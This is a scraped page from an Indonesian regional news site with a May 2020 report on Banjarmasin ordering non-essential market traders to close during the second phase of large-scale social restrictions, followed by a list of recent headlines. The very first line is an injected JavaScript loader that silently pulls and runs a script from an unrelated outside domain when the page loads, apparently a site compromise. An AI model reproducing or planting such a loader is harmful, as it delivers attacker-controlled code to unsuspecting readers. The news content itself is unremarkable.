(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Tezar Sudah Koordinasi dengan Satpol PP, Mulai Besok, Pedagang Sekunder Harus Tutup Sementara


KANALKALIMANTAN.COM, BANJARMASIN – Sepertinya tidak ada tawar menawar lagi terhadap kebijakan yang diambil Pemko Banjarmasin berkait pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) jilid II di Kota Banjarmasin.

Terhitung mulai Selasa (12/5/2020), pedagang sekunder tidak diperbolehan berjualan selama penerapan Pembatasan Sosial Berskala Besar (PSBB) Jilid II, hingga berakhirnya PSBB pada 21 Mei 2020 mendatang.

Hal itu tertuang pada Perwali nomor 37 Tahun 2020 yang baru saja ditandatangani oleh Wali Kota Banjarmasin H Ibnu Sina pada Senin (11/5/2020), di mana pedagang yang tidak menjual keperluan bahan pokok diminta untuk tutup sementara.

Kepala Bidang Peningkatan Sarana Distribusi Perdagangan (PSDP) dan Pasar, Dinas Perindustrian dan Perdagangan (Disperdagin) Kota Banjarmasin, Ichrom Muftezar mengatakan, keputusan tersebut sudah sesuai dengan Peraturan Wali kota (Perwali) Nomor 37 Tahun 2020 yang baru saja dikeluarkan wali Kota Banjarmasin.

“Dalam Perwali itu tertulis bahwa selain toko atau pedagang yang dikecualikan seperti bahan pokok dan kepentingan lain harus menutup jualannya untuk sementara ini sampai PSBB berakhir,” Tezar, sapaan akarabnya kepada awak media, Senin (11/5/2020).

Ia mengungkapkan pedagang yang menjual bahan pokok pun juga ada batas waktu untuk beroperasi, mulai pukul 06.00 pagi sampai pukul13.00 siang, bagi yang beroperasi siang mulai 14.00 sampai 18.00 Wita. Sehingga, dengan adanya peraturan tersebut, para pedagang pasar sekunder seperti toko baju dan kosmetik dan jualan lainnya yang tidak termasuk dalam Perwali diminta untuk menutup jualannya sementara waktu.

“Kami harap para pedagang yang menerima atau sudah tahu tentang edaran ini agar bisa menyampaikan kepada pedagang yang lain yang masih belum mengatahuinya untuk ditaati,” tandasnya.

Selain itu, ia mengaku bahwa pihaknya juga sudah berkoordinasi dengan Satpol PP Kota Banjarmasin untuk bisa melakukan penindakan bagi pedagang pasar sekunder yang masih beroperasi atau berjualan.

“Kita tentunya berharap para pedagang yang diharuskan tutup itu bisa bersabar menerimanya dengan lapang dada, ini untuk mendukung pelaksanaan PSBB tahap II yang saat ini sedang kita jalani,” pungkasnya. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Dhani

 


Desy Arfianty

Recent Posts

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

1 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

3 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

3 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

3 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

5 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

19 jam ago

This website uses cookies.